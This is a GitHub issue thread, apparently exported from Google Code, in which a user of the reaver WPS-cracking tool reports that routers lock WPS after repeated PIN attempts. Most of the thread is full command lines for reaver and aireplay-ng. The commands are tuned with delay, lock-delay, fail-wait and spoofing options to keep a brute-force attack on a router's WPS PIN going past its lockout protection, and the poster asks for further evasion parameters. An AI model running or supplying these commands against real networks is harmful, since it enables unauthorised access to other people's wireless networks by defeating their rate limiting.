zmanblazer / reaver-wps

Automatically exported from code.google.com/p/reaver-wps
0 stars 0 forks source link

Router lock wps after 100.000 pins try #411

Open GoogleCodeExporter opened 8 years ago

GoogleCodeExporter commented 8 years ago
Reaver version 1.4 in Debian.
level signal good.
occurs always router locks wps after reaver try 100,000.
already changed the command line and parameters for:
reaver -i mon0 -b <mac> -a -L -S -N -d5 -r 100000:360 -c <channel> -vv
and
reaver -i mon0 -b <mac> -S --delay=2 --lock-delay=250 -N --fail-wait=350 -E -c 
<channel> -vv
already tried authenticate separately:
aireplay-ng mon0 -1 120 -a <mac> -e <bssid>
reaver -i mon0 -A -b <mac> -c <channel> -vv --no-nacks --win7
any other suggestions of parameters?

Original issue reported on code.google.com by deltomaf...@gmail.com on 25 Sep 2012 at 2:35

GoogleCodeExporter commented 8 years ago
used:
reaver -i mon0 -b <mac> --delay=20 --lock-delay=3600 -N -E --m57-timeout=10 
--timeout=10 --recurring-delay=100000:3600 --fail-wait=3600 -c <channel> -vv

but failed, blocking continues.

Original comment by deltomaf...@gmail.com on 27 Sep 2012 at 12:22

GoogleCodeExporter commented 8 years ago
interesting ... in another ap with wps lock (wash) and reaver showing: 
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
ran reaver -i mon0 -b <mac> -a -S -N -E -L -w -c 11 -vv
and is in progress the percentage and pin! how is this possible? Wash failed?

Original comment by deltomaf...@gmail.com on 1 Oct 2012 at 1:24